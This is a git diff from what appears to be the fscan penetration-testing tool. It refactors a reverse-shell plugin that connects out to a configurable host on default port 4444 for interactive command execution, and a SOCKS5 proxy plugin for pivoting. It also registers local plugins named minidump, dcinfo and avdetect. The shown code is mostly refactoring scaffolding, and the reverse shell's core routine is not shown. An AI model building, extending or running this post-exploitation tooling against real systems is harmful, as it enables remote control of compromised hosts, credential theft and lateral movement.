"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// ReverseShellPlugin 反弹Shell插件
|
||||
// ReverseShellPlugin 反弹Shell插件 - 使用简化架构
|
||||
type ReverseShellPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
connector *ReverseShellConnector
|
||||
target string // 目标地址:端口
|
||||
}
|
||||
|
||||
// ReverseShellConnector 反弹Shell连接器
|
||||
type ReverseShellConnector struct {
|
||||
*local.BaseLocalConnector
|
||||
host string
|
||||
port int
|
||||
}
|
||||
|
||||
// ReverseShellConnection 反弹Shell连接对象
|
||||
type ReverseShellConnection struct {
|
||||
*local.LocalConnection
|
||||
Target string
|
||||
Host string
|
||||
Port int
|
||||
}
|
||||
|
||||
// NewReverseShellPlugin 创建反弹Shell插件
|
||||
// NewReverseShellPlugin 创建反弹Shell插件 - 简化版本
|
||||
func NewReverseShellPlugin() *ReverseShellPlugin {
|
||||
// 从全局参数获取反弹Shell目标
|
||||
target := common.ReverseShellTarget
|
||||
@ -58,25 +44,7 @@ func NewReverseShellPlugin() *ReverseShellPlugin {
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
connector := NewReverseShellConnector(target)
|
||||
plugin := &ReverseShellPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||
connector: connector,
|
||||
target: target,
|
||||
}
|
||||
|
||||
// 设置支持的平台
|
||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||
// 不需要特殊权限
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// NewReverseShellConnector 创建反弹Shell连接器
|
||||
func NewReverseShellConnector(target string) *ReverseShellConnector {
|
||||
baseConnector, _ := local.NewBaseLocalConnector()
|
||||
|
||||
// 解析目标地址
|
||||
host, portStr, err := net.SplitHostPort(target)
|
||||
if err != nil {
|
||||
host = target
|
||||
@ -88,39 +56,25 @@ func NewReverseShellConnector(target string) *ReverseShellConnector {
|
||||
port = 4444 // 默认端口
|
||||
}
|
||||
|
||||
return &ReverseShellConnector{
|
||||
BaseLocalConnector: baseConnector,
|
||||
plugin := &ReverseShellPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
target: target,
|
||||
host: host,
|
||||
port: port,
|
||||
}
|
||||
|
||||
// 设置支持的平台
|
||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||
// 不需要特殊权限
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Connect 建立反弹Shell连接
|
||||
func (c *ReverseShellConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||
// 先建立基础本地连接
|
||||
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
baseConn := localConn.(*local.LocalConnection)
|
||||
|
||||
// 跳过连通性测试,避免抢占反弹shell连接通道
|
||||
// 反弹shell会在实际使用时进行连接,这里不需要预先测试
|
||||
|
||||
reverseShellConn := &ReverseShellConnection{
|
||||
LocalConnection: baseConn,
|
||||
Target: fmt.Sprintf("%s:%d", c.host, c.port),
|
||||
Host: c.host,
|
||||
Port: c.port,
|
||||
}
|
||||
|
||||
return reverseShellConn, nil
|
||||
}
|
||||
|
||||
// Close 关闭反弹Shell连接
|
||||
func (c *ReverseShellConnector) Close(conn interface{}) error {
|
||||
return c.BaseLocalConnector.Close(conn)
|
||||
// Initialize 初始化插件
|
||||
func (p *ReverseShellPlugin) Initialize() error {
|
||||
// 调用基类初始化
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
@ -128,27 +82,15 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行反弹Shell扫描 - 纯Go原生实现
|
||||
// ScanLocal 执行反弹Shell扫描 - 简化版本
|
||||
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("启动Go原生反弹Shell...")
|
||||
|
||||
// 建立连接
|
||||
conn, err := p.connector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("连接失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
defer p.connector.Close(conn)
|
||||
|
||||
reverseShellConn := conn.(*ReverseShellConnection)
|
||||
|
||||
// 启动反弹shell
|
||||
common.LogBase(fmt.Sprintf("连接到目标 %s", reverseShellConn.Target))
|
||||
common.LogBase(fmt.Sprintf("连接到目标 %s", p.target))
|
||||
|
||||
// 直接在当前goroutine中运行,这样可以确保在设置ReverseShellActive后立即被主程序检测到
|
||||
err = p.startNativeReverseShell(ctx, reverseShellConn.Host, reverseShellConn.Port)
|
||||
err := p.startNativeReverseShell(ctx, p.host, p.port)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
|
||||
return &base.ScanResult{
|
||||
@ -160,9 +102,9 @@ func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInf
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "ReverseShell",
|
||||
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", reverseShellConn.Target, runtime.GOOS),
|
||||
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", p.target, runtime.GOOS),
|
||||
Extra: map[string]interface{}{
|
||||
"target": reverseShellConn.Target,
|
||||
"target": p.target,
|
||||
"platform": runtime.GOOS,
|
||||
"implementation": "go_native",
|
||||
"status": "completed",
|
||||
@ -299,8 +241,10 @@ func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]inter
|
||||
func (p *ReverseShellPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString(fmt.Sprintf("Go原生反弹Shell插件 - 目标: %s\n", p.target))
|
||||
info.WriteString("Go原生反弹Shell插件\n")
|
||||
info.WriteString(fmt.Sprintf("目标: %s\n", p.target))
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString("功能: 建立反弹Shell连接,支持交互式命令执行\n")
|
||||
info.WriteString("实现方式: 纯Go原生,无外部依赖\n")
|
||||
|
||||
return info.String()
|
||||
|
@ -15,27 +15,14 @@ import (
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// Socks5ProxyPlugin SOCKS5代理插件
|
||||
// Socks5ProxyPlugin SOCKS5代理插件 - 使用简化架构
|
||||
type Socks5ProxyPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
connector *Socks5ProxyConnector
|
||||
port int
|
||||
listener net.Listener
|
||||
}
|
||||
|
||||
// Socks5ProxyConnector SOCKS5代理连接器
|
||||
type Socks5ProxyConnector struct {
|
||||
*local.BaseLocalConnector
|
||||
port int
|
||||
}
|
||||
|
||||
// Socks5ProxyConnection SOCKS5代理连接对象
|
||||
type Socks5ProxyConnection struct {
|
||||
*local.LocalConnection
|
||||
Port int
|
||||
}
|
||||
|
||||
// NewSocks5ProxyPlugin 创建SOCKS5代理插件
|
||||
// NewSocks5ProxyPlugin 创建SOCKS5代理插件 - 简化版本
|
||||
func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
|
||||
// 从全局参数获取SOCKS5端口
|
||||
port := common.Socks5ProxyPort
|
||||
@ -53,14 +40,12 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
connector := NewSocks5ProxyConnector(port)
|
||||
plugin := &Socks5ProxyPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||
connector: connector,
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
port: port,
|
||||
}
|
||||
|
||||
// 设置支持的平台
|
||||
// 设置支持的平台(支持Windows、Linux和macOS)
|
||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||
// 不需要特殊权限
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
@ -68,44 +53,10 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
|
||||
return plugin
|
||||
}
|
||||
|
||||
// NewSocks5ProxyConnector 创建SOCKS5代理连接器
|
||||
func NewSocks5ProxyConnector(port int) *Socks5ProxyConnector {
|
||||
baseConnector, _ := local.NewBaseLocalConnector()
|
||||
|
||||
return &Socks5ProxyConnector{
|
||||
BaseLocalConnector: baseConnector,
|
||||
port: port,
|
||||
}
|
||||
}
|
||||
|
||||
// Connect 建立SOCKS5代理连接
|
||||
func (c *Socks5ProxyConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||
// 先建立基础本地连接
|
||||
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
baseConn := localConn.(*local.LocalConnection)
|
||||
|
||||
// 检查端口是否可用
|
||||
testListener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", c.port))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("端口 %d 不可用: %v", c.port, err)
|
||||
}
|
||||
testListener.Close() // 立即关闭测试监听器
|
||||
|
||||
socks5Conn := &Socks5ProxyConnection{
|
||||
LocalConnection: baseConn,
|
||||
Port: c.port,
|
||||
}
|
||||
|
||||
return socks5Conn, nil
|
||||
}
|
||||
|
||||
// Close 关闭SOCKS5代理连接
|
||||
func (c *Socks5ProxyConnector) Close(conn interface{}) error {
|
||||
return c.BaseLocalConnector.Close(conn)
|
||||
// Initialize 初始化插件
|
||||
func (p *Socks5ProxyPlugin) Initialize() error {
|
||||
// 调用基类初始化
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
@ -113,27 +64,15 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo) (*b
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行SOCKS5代理扫描 - 启动代理服务器
|
||||
// ScanLocal 执行SOCKS5代理扫描 - 简化版本
|
||||
func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("启动SOCKS5代理服务器...")
|
||||
|
||||
// 建立连接
|
||||
conn, err := p.connector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("连接失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
defer p.connector.Close(conn)
|
||||
|
||||
socks5Conn := conn.(*Socks5ProxyConnection)
|
||||
|
||||
// 启动SOCKS5代理服务器
|
||||
common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", socks5Conn.Port))
|
||||
common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", p.port))
|
||||
|
||||
// 直接在当前goroutine中运行,这样可以确保在设置Socks5ProxyActive后立即被主程序检测到
|
||||
err = p.startSocks5Server(ctx, socks5Conn.Port)
|
||||
err := p.startSocks5Server(ctx, p.port)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("SOCKS5代理服务器错误: %v", err))
|
||||
return &base.ScanResult{
|
||||
@ -145,9 +84,9 @@ func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "SOCKS5Proxy",
|
||||
Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", socks5Conn.Port, runtime.GOOS),
|
||||
Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS),
|
||||
Extra: map[string]interface{}{
|
||||
"port": socks5Conn.Port,
|
||||
"port": p.port,
|
||||
"platform": runtime.GOOS,
|
||||
"protocol": "socks5",
|
||||
"status": "completed",
|
||||
@ -402,8 +341,10 @@ func (p *Socks5ProxyPlugin) ExtractData(ctx context.Context, info *common.HostIn
|
||||
func (p *Socks5ProxyPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString(fmt.Sprintf("SOCKS5代理插件 - 端口: %d\n", p.port))
|
||||
info.WriteString("SOCKS5代理服务器插件\n")
|
||||
info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port))
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString("功能: 提供本地SOCKS5代理服务,支持TCP连接转发\n")
|
||||
info.WriteString("协议: SOCKS5,支持HTTP/HTTPS代理\n")
|
||||
info.WriteString("实现方式: 纯Go原生,无外部依赖\n")
|
||||
|
||||
|
12
main.go
12
main.go
@ -8,12 +8,12 @@ import (
|
||||
"github.com/shadow1ng/fscan/core"
|
||||
|
||||
// 引入本地插件以触发注册
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo"
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo"
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/minidump"
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell"
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy"
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/avdetect"
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo" // 已重构,可用
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo" // 已重构,可用
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/minidump" // 已重构,可用
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 已重构,可用
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // 已重构,可用
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/avdetect" // 已重构,可用
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
Loading…
Reference in New Issue
Block a user